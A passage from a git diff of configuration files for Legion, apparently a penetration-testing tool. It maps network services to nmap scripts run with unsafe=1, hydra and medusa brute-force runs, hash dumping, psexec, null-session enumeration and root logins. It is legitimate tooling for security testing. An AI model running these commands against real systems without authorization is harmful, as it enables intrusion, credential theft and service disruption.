"nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl" -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -smtp-enum-vrfy=smtp, tcp -snmp-default=snmp, udp -snmpcheck=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports=T:30000-65535 - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/sbin/nmap -texteditor-path=/usr/bin/leafpad diff --git a/legion.conf b/legion.conf index 6f4c62b1..3b3c1b18 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" +process-tab-column-widths="125,0,100,150,100,0,196,100,0,0,0,0,0,0,0,535,100" process-tab-detail=false [GeneralSettings] @@ -317,12 +317,12 @@ snmp-default=snmp, udp x11screen=X11, tcp [StagedNmapSettings] -stage1-ports="T:80,81,443,4443,8080,8081,8082" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports=T:30000-65535 +stage1-ports="PORTS|T:80,81,443,4443,8080,8081,8082" +stage2-ports="PORTS|T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="NSE|vulners" +stage4-ports="PORTS|T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="PORTS|T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports="PORTS|T:30000-65535" [ToolSettings] cutycapt-path=/usr/bin/cutycapt diff --git a/legion.conf.orig b/legion.conf.orig deleted file mode 100644 index 242bf2a3..00000000 --- a/legion.conf.orig +++ /dev/null @@ -1,317 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" -process-tab-detail=False - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, 